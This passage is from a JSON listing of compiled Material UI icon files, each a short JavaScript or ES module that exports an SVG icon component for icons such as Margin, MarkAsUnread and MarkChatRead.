    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'MapsUgcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"2\")], 'MapsUgcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MapsUgcTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-1.18 0-2.34-.26-3.43-.78-.27-.13-.56-.19-.86-.19-.19 0-.38.03-.56.08l-3.2.94.94-3.2c.14-.47.1-.98-.11-1.42C4.26 14.34 4 13.18 4 12c0-4.41 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12c0 1.54.36 2.98.97 4.29L1 23l6.71-1.97c1.31.61 2.75.97 4.29.97 5.52 0 10-4.48 10-10S17.52 2 12 2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"2\")], 'MapsUgcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Margin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2zm-8 4h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'Margin');"
  },
  {
    "path": "packages/mui-icons-material/lib/Margin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2zm-8 4h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'Margin');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2zm-8 4h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'MarginOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2zm-8 4h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'MarginOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m6 3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m0 4c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'MarginRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m6 3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m0 4c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'MarginRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm6 10H7v-2h2zm0-4H7V7h2zm4 4h-2v-2h2zm0-4h-2V7h2zm4 4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'MarginSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm6 10H7v-2h2zm0-4H7V7h2zm4 4h-2v-2h2zm0-4h-2V7h2zm4 4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'MarginSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zM15 7h2v2h-2zm0 4h2v2h-2zm-4-4h2v2h-2zm0 4h2v2h-2zM7 7h2v2H7zm0 4h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h2v2H7zm0 4h2v2H7z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm4 4h2v2h-2zm-4 0h2v2h-2zm4-4h2v2h-2z\"\n}, \"3\")], 'MarginTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarginTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zM15 7h2v2h-2zm0 4h2v2h-2zm-4-4h2v2h-2zm0 4h2v2h-2zM7 7h2v2H7zm0 4h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h2v2H7zm0 4h2v2H7z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm4 4h2v2h-2zm-4 0h2v2h-2zm4-4h2v2h-2z\"\n}, \"3\")], 'MarginTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnread.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.83 7h-2.6L10.5 4 4 7.4V17c-1.1 0-2-.9-2-2V7.17c0-.53.32-1.09.8-1.34L10.5 2l7.54 3.83c.43.23.73.7.79 1.17M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 3.67L13.5 15 7 11.67V10l6.5 3.33L20 10z\"\n}), 'MarkAsUnread');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnread.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.83 7h-2.6L10.5 4 4 7.4V17c-1.1 0-2-.9-2-2V7.17c0-.53.32-1.09.8-1.34L10.5 2l7.54 3.83c.43.23.73.7.79 1.17M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 3.67L13.5 15 7 11.67V10l6.5 3.33L20 10z\"\n}), 'MarkAsUnread');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.23 7h2.6c-.06-.47-.36-.94-.79-1.17L10.5 2 2.8 5.83c-.48.26-.8.81-.8 1.34V15c0 1.1.9 2 2 2V7.4L10.5 4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 11H7v-7l6.5 3.33L20 12zm-6.5-5.67L7 10h13z\"\n}, \"1\")], 'MarkAsUnreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.23 7h2.6c-.06-.47-.36-.94-.79-1.17L10.5 2 2.8 5.83c-.48.26-.8.81-.8 1.34V15c0 1.1.9 2 2 2V7.4L10.5 4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 11H7v-7l6.5 3.33L20 12zm-6.5-5.67L7 10h13z\"\n}, \"1\")], 'MarkAsUnreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.23 7h2.6c-.06-.47-.36-.94-.79-1.17L11.4 2.45c-.56-.29-1.23-.29-1.8-.01L2.8 5.83c-.48.26-.8.81-.8 1.34V15c0 1.1.9 2 2 2V7.4L10.5 4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 3.46c0 .33-.19.64-.48.79l-5.61 2.88c-.25.13-.56.13-.81 0l-5.61-2.88c-.3-.15-.49-.46-.49-.79 0-.67.7-1.1 1.3-.79l5.2 2.67 5.2-2.67c.6-.31 1.3.12 1.3.79\"\n}, \"1\")], 'MarkAsUnreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.23 7h2.6c-.06-.47-.36-.94-.79-1.17L11.4 2.45c-.56-.29-1.23-.29-1.8-.01L2.8 5.83c-.48.26-.8.81-.8 1.34V15c0 1.1.9 2 2 2V7.4L10.5 4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 3.46c0 .33-.19.64-.48.79l-5.61 2.88c-.25.13-.56.13-.81 0l-5.61-2.88c-.3-.15-.49-.46-.49-.79 0-.67.7-1.1 1.3-.79l5.2 2.67 5.2-2.67c.6-.31 1.3.12 1.3.79\"\n}, \"1\")], 'MarkAsUnreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.23 7h4.12L10.5 2 2 6.21V17h2V7.4L10.5 4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8v13h17V8zm15 4-6.5 3.33L7 12v-2l6.5 3.33L20 10z\"\n}, \"1\")], 'MarkAsUnreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.23 7h4.12L10.5 2 2 6.21V17h2V7.4L10.5 4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8v13h17V8zm15 4-6.5 3.33L7 12v-2l6.5 3.33L20 10z\"\n}, \"1\")], 'MarkAsUnreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 13.33 20 10H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 12v7h13v-7l-6.5 3.33z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.23 7h2.6c-.06-.47-.36-.94-.79-1.17L10.5 2 2.8 5.83c-.48.26-.8.81-.8 1.34V15c0 1.1.9 2 2 2V7.4L10.5 4z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 11H7v-7l6.5 3.33L20 12zm-6.5-5.67L7 10h13z\"\n}, \"3\")], 'MarkAsUnreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkAsUnreadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 13.33 20 10H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 12v7h13v-7l-6.5 3.33z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.23 7h2.6c-.06-.47-.36-.94-.79-1.17L10.5 2 2.8 5.83c-.48.26-.8.81-.8 1.34V15c0 1.1.9 2 2 2V7.4L10.5 4z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2m0 11H7v-7l6.5 3.33L20 12zm-6.5-5.67L7 10h13z\"\n}, \"3\")], 'MarkAsUnreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatRead.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 20-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 14.34zM12 17c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v18l4-4h6c0-.17.01-.33.03-.5-.02-.16-.03-.33-.03-.5\"\n}), 'MarkChatRead');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatRead.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 20-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 14.34zM12 17c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v18l4-4h6c0-.17.01-.33.03-.5-.02-.16-.03-.33-.03-.5\"\n}), 'MarkChatRead');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18H6l-4 4V4c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2v7h-2V4H4v12h8zm11-3.66-1.41-1.41-4.24 4.24-2.12-2.12-1.41 1.41L17.34 20z\"\n}), 'MarkChatReadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18H6l-4 4V4c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2v7h-2V4H4v12h8zm11-3.66-1.41-1.41-4.24 4.24-2.12-2.12-1.41 1.41L17.34 20z\"\n}), 'MarkChatReadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.05 19.29c-.39.39-1.02.39-1.41 0l-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41zM12 17c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v18l4-4h6c0-.17.01-.33.03-.5-.02-.17-.03-.33-.03-.5\"\n}), 'MarkChatReadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.05 19.29c-.39.39-1.02.39-1.41 0l-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41zM12 17c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v18l4-4h6c0-.17.01-.33.03-.5-.02-.17-.03-.33-.03-.5\"\n}), 'MarkChatReadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 17.5c-.02.17-.03.33-.03.5H6l-4 4V2h20v8.68c-.91-.43-1.92-.68-3-.68-3.87 0-7 3.13-7 7 0 .17.01.33.03.5M23 14.34l-1.41-1.41-4.24 4.24-2.12-2.12-1.41 1.41L17.34 20z\"\n}), 'MarkChatReadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.03 17.5c-.02.17-.03.33-.03.5H6l-4 4V2h20v8.68c-.91-.43-1.92-.68-3-.68-3.87 0-7 3.13-7 7 0 .17.01.33.03.5M23 14.34l-1.41-1.41-4.24 4.24-2.12-2.12-1.41 1.41L17.34 20z\"\n}), 'MarkChatReadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadTwoTone.js",
